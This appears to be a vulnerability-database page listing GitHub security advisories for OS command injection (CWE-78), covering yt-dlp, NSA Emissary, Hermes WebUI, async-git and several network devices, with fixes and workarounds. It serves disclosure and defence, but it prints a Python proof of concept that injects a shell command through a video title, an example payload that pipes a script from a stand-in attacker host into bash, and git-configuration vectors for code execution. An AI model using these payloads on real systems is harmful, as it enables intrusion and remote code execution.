CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8303 vulnerabilities reference this CWE, most recent first.
GHSA-69QJ-PVH9-C5WG
Vulnerability from github – Published: 2026-06-16 22:29 – Updated: 2026-06-16 22:29Summary
yt-dlp's --exec option is vulnerable to arbitrary command injection when handling untrusted metadata if the argument uses standard string formatting (e.g. %(title)s) or other unsafe conversions. An attacker could achieve remote code execution on the user's machine via maliciously crafted metadata containing quotes or other special shell characters.
Details
Since yt-dlp version 2021.04.11, the --exec option has supported "output template syntax", which is a superset of Python's printf-style string formatting also used by the --output option. This means the user is able to pass a "command template" as an argument to the --exec option which will be executed by the user's shell. The command template allows for the downloaded video's metadata to be interpolated into the command string.
yt-dlp implements a %()q conversion, which will shell-quote/escape any metadata value such that it is safe to be interpolated into a command string. However, there are unsafe conversions such as %()s which result in the command template being formatted with the raw metadata string. These unsafe conversions do not perform any sanitization or escaping for shell contexts. If one or more of these unsafe conversions is used in the command template, an attacker can craft a malicious metadata value containing shell operators (e.g. ;, &, |) to break out of the intended command and execute payload commands.
Impact
The impact is limited to users who pass an --exec command template containing unsafe conversions in their yt-dlp command or configuration file: %()s, %()a, %()r, %()j, %()S (including any of their flagged variants.)
Patches
yt-dlp version 2026.06.09 fixes this issue by restricting the conversions that can be used in an --exec command template to those known to be safe: %()d, %()i, %()f, %()q (including any of their flagged variants.) It also restricts the characters that can be used in command template defaults and placeholders when the user passes an --exec argument containing output template syntax.
Workarounds
This vulnerability can be fully mitigated by doing any of the following:
- Upgrade yt-dlp to version 2026.06.09 or later
- Only use safe conversions (e.g.
%()d,%()i,%()f,%()q) in any--execcommand templates - Do not use "output template syntax" in any
--execarguments - Do not use the
--execoption
Proof-of-Concept
- An attacker sets the title of a video to a malicious payload, e.g.:
video; touch pwned.txt # - The victim downloads this video using yt-dlp with the
--execflag.
Reproduction steps (simulated): 1. Create a python script poc.py to simulate the internal behavior:
import unittest
import os
from yt_dlp.postprocessor.exec import ExecPP
from yt_dlp.YoutubeDL import YoutubeDL
from yt_dlp.utils import PostProcessingError
# Import Popen to use the REAL one for the PoC (to actually create the file)
from yt_dlp.utils import Popen as RealPopen
class TestDemonstrativePoC(unittest.TestCase):
FILE_NAME = "PWNED.txt"
def setUp(self):
# Remove the file if it exists
if os.path.exists(self.FILE_NAME):
os.remove(self.FILE_NAME)
def test_1_demonstrate_vulnerability_simulated(self):
"""
Simulates the code BEFORE the fix to show what would happen.
"""
print("\n--- TEST 1: Simulating vulnerable state ---")
# 1. Define the vulnerable Parse Method
def vulnerable_parse_cmd(self, cmd, info):
# This mimics the code before my patch
tmpl, tmpl_dict = self._downloader.prepare_outtmpl(cmd, info)
if tmpl_dict:
return self._downloader.escape_outtmpl(tmpl) % tmpl_dict
return cmd
# 2. Patch the class temporarily
original_parse_cmd = ExecPP.parse_cmd
ExecPP.parse_cmd = vulnerable_parse_cmd
info = {
'id': '1234',
# MALICIOUS TITLE:
# 1. 'video' gets echoed
# 2. ; separator
# 3. touch PWNED.txt creates the file
# 4. # comments out the rest
'title': f'video; touch {self.FILE_NAME} #',
'ext': 'mp4',
'filepath': 'video.mp4'
}
ydl = YoutubeDL({'verbose': False, 'quiet': True})
try:
print(f"[*] Payload Title: {info['title']}")
print("[*] Executing: echo %(title)s")
# Use the REAL Popen to actually execute shell commands
import yt_dlp.postprocessor.exec
original_popen_ref = yt_dlp.postprocessor.exec.Popen
yt_dlp.postprocessor.exec.Popen = RealPopen
pp = ExecPP(ydl, 'echo %(title)s')
pp.run(info)
# Restore Popen ref
yt_dlp.postprocessor.exec.Popen = original_popen_ref
# Check if file was created
if os.path.exists(self.FILE_NAME):
print(f"[!] VULNERABILITY CONFIRMED: File '{self.FILE_NAME}' was created on disk!")
else:
print("[?] File not created. Payload might have failed.")
finally:
# Restore the secure method
ExecPP.parse_cmd = original_parse_cmd
if __name__ == '__main__':
unittest.main()
- Run the script:
python3 poc.py - Check the directory. A file named
PWNED.txtwill be created, proving arbitrary command execution.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "yt-dlp"
},
"ranges": [
{
"events": [
{
"introduced": "2021.4.11"
},
{
"fixed": "2026.6.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T22:29:14Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nyt-dlp\u0027s `--exec` option is vulnerable to arbitrary command injection when handling untrusted metadata if the argument uses standard string formatting (e.g. `%(title)s`) or other unsafe conversions. An attacker could achieve remote code execution on the user\u0027s machine via maliciously crafted metadata containing quotes or other special shell characters.\n\n### Details\nSince yt-dlp version 2021.04.11, the `--exec` option has supported \"output template syntax\", which is a superset of Python\u0027s `printf`-style string formatting also used by the `--output` option. This means the user is able to pass a \"command template\" as an argument to the `--exec` option which will be executed by the user\u0027s shell. The command template allows for the downloaded video\u0027s metadata to be interpolated into the command string.\n\nyt-dlp implements a `%()q` conversion, which will shell-quote/escape any metadata value such that it is safe to be interpolated into a command string. However, there are unsafe conversions such as `%()s` which result in the command template being formatted with the raw metadata string. These unsafe conversions do not perform any sanitization or escaping for shell contexts. If one or more of these unsafe conversions is used in the command template, an attacker can craft a malicious metadata value containing shell operators (e.g. `;`, `\u0026`, `|`) to break out of the intended command and execute payload commands.\n\n### Impact\n\nThe impact is limited to users who pass an `--exec` command template containing unsafe conversions in their yt-dlp command or configuration file: `%()s`, `%()a`, `%()r`, `%()j`, `%()S` (including any of their flagged variants.)\n\n### Patches\n\nyt-dlp version 2026.06.09 fixes this issue by restricting the conversions that can be used in an `--exec` command template to those known to be safe: `%()d`, `%()i`, `%()f`, `%()q` (including any of their flagged variants.) It also restricts the characters that can be used in command template defaults and placeholders when the user passes an `--exec` argument containing output template syntax.\n\n### Workarounds\n\nThis vulnerability can be fully mitigated by doing any of the following:\n\n- Upgrade yt-dlp to version 2026.06.09 or later\n- Only use safe conversions (e.g. `%()d`, `%()i`, `%()f`, `%()q`) in any `--exec` command templates\n- Do not use \"output template syntax\" in any `--exec` arguments\n- Do not use the `--exec` option\n\n### Proof-of-Concept\n\n1. An attacker sets the title of a video to a malicious payload, e.g.: `video; touch pwned.txt #`\n2. The victim downloads this video using yt-dlp with the `--exec` flag.\n\nReproduction steps (simulated):\n1. Create a python script poc.py to simulate the internal behavior:\n\n```bash\nimport unittest\nimport os\n\nfrom yt_dlp.postprocessor.exec import ExecPP\nfrom yt_dlp.YoutubeDL import YoutubeDL\nfrom yt_dlp.utils import PostProcessingError\n\n# Import Popen to use the REAL one for the PoC (to actually create the file)\nfrom yt_dlp.utils import Popen as RealPopen\n\nclass TestDemonstrativePoC(unittest.TestCase):\n FILE_NAME = \"PWNED.txt\"\n\n def setUp(self):\n # Remove the file if it exists\n if os.path.exists(self.FILE_NAME):\n os.remove(self.FILE_NAME)\n\n def test_1_demonstrate_vulnerability_simulated(self):\n \"\"\"\n Simulates the code BEFORE the fix to show what would happen.\n \"\"\"\n print(\"\\n--- TEST 1: Simulating vulnerable state ---\")\n\n # 1. Define the vulnerable Parse Method\n def vulnerable_parse_cmd(self, cmd, info):\n # This mimics the code before my patch\n tmpl, tmpl_dict = self._downloader.prepare_outtmpl(cmd, info)\n if tmpl_dict:\n return self._downloader.escape_outtmpl(tmpl) % tmpl_dict\n return cmd\n\n # 2. Patch the class temporarily\n original_parse_cmd = ExecPP.parse_cmd\n ExecPP.parse_cmd = vulnerable_parse_cmd\n\n info = {\n \u0027id\u0027: \u00271234\u0027,\n # MALICIOUS TITLE:\n # 1. \u0027video\u0027 gets echoed\n # 2. ; separator\n # 3. touch PWNED.txt creates the file\n # 4. # comments out the rest\n \u0027title\u0027: f\u0027video; touch {self.FILE_NAME} #\u0027,\n \u0027ext\u0027: \u0027mp4\u0027,\n \u0027filepath\u0027: \u0027video.mp4\u0027\n }\n\n ydl = YoutubeDL({\u0027verbose\u0027: False, \u0027quiet\u0027: True})\n\n try:\n print(f\"[*] Payload Title: {info[\u0027title\u0027]}\")\n print(\"[*] Executing: echo %(title)s\")\n\n # Use the REAL Popen to actually execute shell commands\n import yt_dlp.postprocessor.exec\n original_popen_ref = yt_dlp.postprocessor.exec.Popen\n yt_dlp.postprocessor.exec.Popen = RealPopen\n\n pp = ExecPP(ydl, \u0027echo %(title)s\u0027)\n pp.run(info)\n\n # Restore Popen ref\n yt_dlp.postprocessor.exec.Popen = original_popen_ref\n\n # Check if file was created\n if os.path.exists(self.FILE_NAME):\n print(f\"[!] VULNERABILITY CONFIRMED: File \u0027{self.FILE_NAME}\u0027 was created on disk!\")\n else:\n print(\"[?] File not created. Payload might have failed.\")\n\n finally:\n # Restore the secure method\n ExecPP.parse_cmd = original_parse_cmd\n\nif __name__ == \u0027__main__\u0027:\n unittest.main()\n```\n2. Run the script: `python3 poc.py`\n3. Check the directory. A file named `PWNED.txt` will be created, proving arbitrary command execution.\n\n\u003cimg width=\"1386\" height=\"757\" alt=\"poc\" src=\"https://github.com/user-attachments/assets/b21a1dd9-f86d-4836-861b-7e880f639c08\" /\u003e",
"id": "GHSA-69qj-pvh9-c5wg",
"modified": "2026-06-16T22:29:14Z",
"published": "2026-06-16T22:29:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-69qj-pvh9-c5wg"
},
{
"type": "WEB",
"url": "https://github.com/yt-dlp/yt-dlp/pull/16883"
},
{
"type": "WEB",
"url": "https://github.com/yt-dlp/yt-dlp/commit/5faffa999fd33b373d47773e8ee639d072accec2"
},
{
"type": "PACKAGE",
"url": "https://github.com/yt-dlp/yt-dlp"
},
{
"type": "WEB",
"url": "https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.06.06.234447"
},
{
"type": "WEB",
"url": "https://github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "yt-dlp: Arbitrary command injection possible if --exec option used with yt-dlp"
}
GHSA-69RG-JV6M-76WG
Vulnerability from github – Published: 2024-10-04 21:31 – Updated: 2024-10-10 21:30Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Microchip TimeProvider 4100 (Configuration modules) allows Command Injection.This issue affects TimeProvider 4100: from 1.0 before 2.4.7.
{
"affected": [],
"aliases": [
"CVE-2024-9054"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-04T20:15:07Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027), Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Microchip TimeProvider 4100 (Configuration modules) allows Command Injection.This issue affects TimeProvider 4100: from 1.0 before 2.4.7.",
"id": "GHSA-69rg-jv6m-76wg",
"modified": "2024-10-10T21:30:42Z",
"published": "2024-10-04T21:31:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9054"
},
{
"type": "WEB",
"url": "https://www.gruppotim.it/it/footer/red-team.html"
},
{
"type": "WEB",
"url": "https://www.microchip.com/en-us/solutions/technologies/embedded-security/how-to-report-potential-product-security-vulnerabilities/timeprovider-4100-grandmaster-rce-through-configuration-file"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:C/RE:M/U:Amber",
"type": "CVSS_V4"
}
]
}
GHSA-69X8-4J5H-MMR4
Vulnerability from github – Published: 2026-06-09 18:31 – Updated: 2026-06-09 18:31Hermes WebUI before version 0.51.311 contains a remote code execution vulnerability that allows authenticated attackers to execute arbitrary commands by placing malicious executable Git configuration in a workspace repository's .git/config file. Attackers can exploit Git subprocess invocations in api/workspace_git.py through vectors such as core.fsmonitor during git status, protocol.ext.allow with ext:: remotes during git fetch, credential.helper, core.askPass, core.gitProxy, or inherited environment variables including GIT_SSH_COMMAND to achieve arbitrary command execution on the host running the application.
{
"affected": [],
"aliases": [
"CVE-2026-49959"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-09T17:17:49Z",
"severity": "HIGH"
},
"details": "Hermes WebUI before version 0.51.311 contains a remote code execution vulnerability that allows authenticated attackers to execute arbitrary commands by placing malicious executable Git configuration in a workspace repository\u0027s .git/config file. Attackers can exploit Git subprocess invocations in api/workspace_git.py through vectors such as core.fsmonitor during git status, protocol.ext.allow with ext:: remotes during git fetch, credential.helper, core.askPass, core.gitProxy, or inherited environment variables including GIT_SSH_COMMAND to achieve arbitrary command execution on the host running the application.",
"id": "GHSA-69x8-4j5h-mmr4",
"modified": "2026-06-09T18:31:01Z",
"published": "2026-06-09T18:31:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49959"
},
{
"type": "WEB",
"url": "https://github.com/nesquena/hermes-webui/pull/3776"
},
{
"type": "WEB",
"url": "https://github.com/nesquena/hermes-webui/commit/938ac9f55b53def1eefb48c4c42dabaf9c22e99c"
},
{
"type": "WEB",
"url": "https://github.com/nesquena/hermes-webui/releases/tag/v0.51.311"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/hermes-webui-rce-via-git-configuration-injection"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6C37-7W4P-JG9V
Vulnerability from github – Published: 2026-04-08 00:12 – Updated: 2026-04-08 00:12Summary
The Executrix utility class constructed shell commands by concatenating
configuration-derived values — including the PLACE_NAME parameter — with
insufficient sanitization. Only spaces were replaced with underscores, allowing
shell metacharacters (;, |, $, `, (, ), etc.) to pass through
into /bin/sh -c command execution.
Details
Vulnerable code — Executrix.java
Insufficient sanitization (line 132):
this.placeName = this.placeName.replace(' ', '_');
// ONLY replaces spaces — shell metacharacters pass through
Shell sink (line 1052–1058):
protected String[] getTimedCommand(final String c) {
return new String[] {"/bin/sh", "-c", "ulimit -c 0; cd " + tmpNames[DIR] + "; " + c};
}
Data flow
PLACE_NAMEis read from a configuration fileExecutrixapplies only a space-to-underscore replacement- The
placeNameis used to construct temporary directory paths (tmpNames[DIR]) tmpNames[DIR]is concatenated into a shell command string- The command is executed via
/bin/sh -c
Example payload
PLACE_NAME = "test;curl attacker.com/shell.sh|bash;x"
After the original sanitization: test;curl_attacker.com/shell.sh|bash;x
(semicolons, pipes, and other metacharacters preserved)
Impact
- Arbitrary command execution on the Emissary host
- Requires the ability to control configuration values (e.g., administrative access or a compromised configuration source)
Remediation
Fixed in PR #1290, merged into release 8.39.0.
The space-only replacement was replaced with an allowlist regex that strips all
characters not matching [a-zA-Z0-9_-]:
protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z0-9_-]");
protected static String cleanPlaceName(final String placeName) {
return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_");
}
This ensures that any shell metacharacter in the PLACE_NAME configuration
value is replaced with an underscore before it can reach a command string.
Tests were added to verify that parentheses, slashes, dots, hash, dollar signs, backslashes, quotes, semicolons, carets, and at-signs are all sanitized.
Workarounds
If upgrading is not immediately possible, ensure that PLACE_NAME values in all
configuration files contain only alphanumeric characters, underscores, and hyphens.
References
- PR #1290 — validate placename with an allowlist
- Original report: GHSA-wjqm-p579-x3ww
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "gov.nsa.emissary:emissary"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.39.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35581"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T00:12:50Z",
"nvd_published_at": "2026-04-07T17:16:33Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `Executrix` utility class constructed shell commands by concatenating\nconfiguration-derived values \u2014 including the `PLACE_NAME` parameter \u2014 with\ninsufficient sanitization. Only spaces were replaced with underscores, allowing\nshell metacharacters (`;`, `|`, `$`, `` ` ``, `(`, `)`, etc.) to pass through\ninto `/bin/sh -c` command execution.\n\n## Details\n\n### Vulnerable code \u2014 `Executrix.java`\n\n**Insufficient sanitization (line 132):**\n```java\nthis.placeName = this.placeName.replace(\u0027 \u0027, \u0027_\u0027);\n// ONLY replaces spaces \u2014 shell metacharacters pass through\n```\n\n**Shell sink (line 1052\u20131058):**\n```java\nprotected String[] getTimedCommand(final String c) {\n return new String[] {\"/bin/sh\", \"-c\", \"ulimit -c 0; cd \" + tmpNames[DIR] + \"; \" + c};\n}\n```\n\n### Data flow\n\n1. `PLACE_NAME` is read from a configuration file\n2. `Executrix` applies only a space-to-underscore replacement\n3. The `placeName` is used to construct temporary directory paths (`tmpNames[DIR]`)\n4. `tmpNames[DIR]` is concatenated into a shell command string\n5. The command is executed via `/bin/sh -c`\n\n### Example payload\n\n```\nPLACE_NAME = \"test;curl attacker.com/shell.sh|bash;x\"\n```\n\nAfter the original sanitization: `test;curl_attacker.com/shell.sh|bash;x`\n(semicolons, pipes, and other metacharacters preserved)\n\n### Impact\n\n- Arbitrary command execution on the Emissary host\n- Requires the ability to control configuration values (e.g., administrative\n access or a compromised configuration source)\n\n## Remediation\n\nFixed in [PR #1290](https://github.com/NationalSecurityAgency/emissary/pull/1290),\nmerged into release 8.39.0.\n\nThe space-only replacement was replaced with an allowlist regex that strips all\ncharacters not matching `[a-zA-Z0-9_-]`:\n\n```java\nprotected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile(\"[^a-zA-Z0-9_-]\");\n\nprotected static String cleanPlaceName(final String placeName) {\n return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll(\"_\");\n}\n```\n\nThis ensures that any shell metacharacter in the `PLACE_NAME` configuration\nvalue is replaced with an underscore before it can reach a command string.\n\nTests were added to verify that parentheses, slashes, dots, hash, dollar signs,\nbackslashes, quotes, semicolons, carets, and at-signs are all sanitized.\n\n## Workarounds\n\nIf upgrading is not immediately possible, ensure that `PLACE_NAME` values in all\nconfiguration files contain only alphanumeric characters, underscores, and hyphens.\n\n## References\n\n- [PR #1290 \u2014 validate placename with an allowlist](https://github.com/NationalSecurityAgency/emissary/pull/1290)\n- Original report: GHSA-wjqm-p579-x3ww",
"id": "GHSA-6c37-7w4p-jg9v",
"modified": "2026-04-08T00:12:50Z",
"published": "2026-04-08T00:12:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-6c37-7w4p-jg9v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35581"
},
{
"type": "WEB",
"url": "https://github.com/NationalSecurityAgency/emissary/pull/1290"
},
{
"type": "PACKAGE",
"url": "https://github.com/NationalSecurityAgency/emissary"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Emissary has a Command Injection via PLACE_NAME Configuration in Executrix"
}
GHSA-6C3F-P5WP-34MH
Vulnerability from github – Published: 2021-01-29 18:14 – Updated: 2022-05-03 02:56The async-git package before 1.13.2 for Node.js allows OS Command Injection via shell metacharacters, as demonstrated by git.reset and git.tag. This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input. Ensure to sanitize untrusted user input before passing it to one of the vulnerable functions as a workaround or update async-git to version 1.13.1.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "async-git"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.13.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-3190"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2021-01-27T23:33:04Z",
"nvd_published_at": "2021-01-26T18:16:00Z",
"severity": "CRITICAL"
},
"details": "The async-git package before 1.13.2 for Node.js allows OS Command Injection via shell metacharacters, as demonstrated by git.reset and git.tag. This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input. Ensure to sanitize untrusted user input before passing it to one of the vulnerable functions as a workaround or update async-git to version 1.13.1.",
"id": "GHSA-6c3f-p5wp-34mh",
"modified": "2022-05-03T02:56:05Z",
"published": "2021-01-29T18:14:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3190"
},
{
"type": "WEB",
"url": "https://github.com/omrilotan/async-git/pull/13"
},
{
"type": "WEB",
"url": "https://github.com/omrilotan/async-git/pull/13/commits/611823bd97dd41e9e8127c38066868ff9dcfa57a"
},
{
"type": "WEB",
"url": "https://github.com/omrilotan/async-git/pull/13/commits/a5f45f58941006c4cc1699609383b533d9b92c6a"
},
{
"type": "WEB",
"url": "https://github.com/omrilotan/async-git/pull/14"
},
{
"type": "WEB",
"url": "https://advisory.checkmarx.net/advisory/CX-2021-4772"
},
{
"type": "PACKAGE",
"url": "https://github.com/omrilotan/async-git"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/async-git"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OS Command Injection in async-git"
}
GHSA-6C7P-GPWF-3J7P
Vulnerability from github – Published: 2025-08-21 21:32 – Updated: 2025-08-21 21:32A remote unauthenticated attacker who has bypassed authentication could execute arbitrary OS commands to disclose, tamper with, destroy or delete information in Mitsubishi Electric smartRTU, or cause a denial-of service condition on the product.
{
"affected": [],
"aliases": [
"CVE-2025-3128"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-21T20:15:32Z",
"severity": "CRITICAL"
},
"details": "A remote unauthenticated attacker who has bypassed authentication could \nexecute arbitrary OS commands to disclose, tamper with, destroy or \ndelete information in Mitsubishi Electric smartRTU, or cause a denial-of\n service condition on the product.",
"id": "GHSA-6c7p-gpwf-3j7p",
"modified": "2025-08-21T21:32:06Z",
"published": "2025-08-21T21:32:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3128"
},
{
"type": "WEB",
"url": "https://emea.mitsubishielectric.com/fa/products/quality/quality-news-information"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-105-09"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6C9V-6MG8-C59H
Vulnerability from github – Published: 2023-06-16 15:30 – Updated: 2024-04-04 04:54A Huawei printer has a system command injection vulnerability. Successful exploitation could lead to remote code execution. Affected product versions include:BiSheng-WNM versions OTA-BiSheng-FW-2.0.0.211-beta,BiSheng-WNM FW 3.0.0.325,BiSheng-WNM FW 2.0.0.211.
{
"affected": [],
"aliases": [
"CVE-2022-48472"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-16T13:15:09Z",
"severity": "CRITICAL"
},
"details": "A Huawei printer has a system command injection vulnerability. Successful exploitation could lead to remote code execution. Affected product versions include:BiSheng-WNM versions OTA-BiSheng-FW-2.0.0.211-beta,BiSheng-WNM FW 3.0.0.325,BiSheng-WNM FW 2.0.0.211.",
"id": "GHSA-6c9v-6mg8-c59h",
"modified": "2024-04-04T04:54:59Z",
"published": "2023-06-16T15:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48472"
},
{
"type": "WEB",
"url": "https://www.huawei.com/en/psirt/security-advisories/2023/huawei-sa-sciviahpp-6bcddec5-en"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6CGW-73X3-C2H9
Vulnerability from github – Published: 2024-11-06 15:30 – Updated: 2024-11-06 15:30A vulnerability was found in D-Link DNS-320, DNS-320LW, DNS-325 and DNS-340L up to 20241028. It has been rated as critical. Affected by this issue is the function cgi_user_add of the file /cgi-bin/account_mgr.cgi?cmd=cgi_user_add. The manipulation of the argument group leads to os command injection. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2024-10915"
],
"database_specific": {
"cwe_ids": [
"CWE-707",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-06T14:15:05Z",
"severity": "CRITICAL"
},
"details": "A vulnerability was found in D-Link DNS-320, DNS-320LW, DNS-325 and DNS-340L up to 20241028. It has been rated as critical. Affected by this issue is the function cgi_user_add of the file /cgi-bin/account_mgr.cgi?cmd=cgi_user_add. The manipulation of the argument group leads to os command injection. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-6cgw-73x3-c2h9",
"modified": "2024-11-06T15:30:40Z",
"published": "2024-11-06T15:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10915"
},
{
"type": "WEB",
"url": "https://netsecfish.notion.site/Command-Injection-Vulnerability-in-group-parameter-for-D-Link-NAS-12d6b683e67c803fa1a0c0d236c9a4c5?pvs=4"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.283310"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.283310"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.432848"
},
{
"type": "WEB",
"url": "https://www.dlink.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6CHH-6C6M-XQRH
Vulnerability from github – Published: 2022-12-30 21:30 – Updated: 2023-01-05 06:30TRENDnet TEW755AP 1.13B01 was discovered to contain a command injection vulnerability via the wps_sta_enrollee_pin parameter in the action set_sta_enrollee_pin_5g function.
{
"affected": [],
"aliases": [
"CVE-2022-46598"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-30T21:15:00Z",
"severity": "CRITICAL"
},
"details": "TRENDnet TEW755AP 1.13B01 was discovered to contain a command injection vulnerability via the wps_sta_enrollee_pin parameter in the action set_sta_enrollee_pin_5g function.",
"id": "GHSA-6chh-6c6m-xqrh",
"modified": "2023-01-05T06:30:22Z",
"published": "2022-12-30T21:30:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46598"
},
{
"type": "WEB",
"url": "https://brief-nymphea-813.notion.site/Vul3-TEW755-injection-set_sta_enrollee_pin_5g-b903e73d59b940c8a79bf4425dfdf992"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6CHJ-CQJ2-4QMR
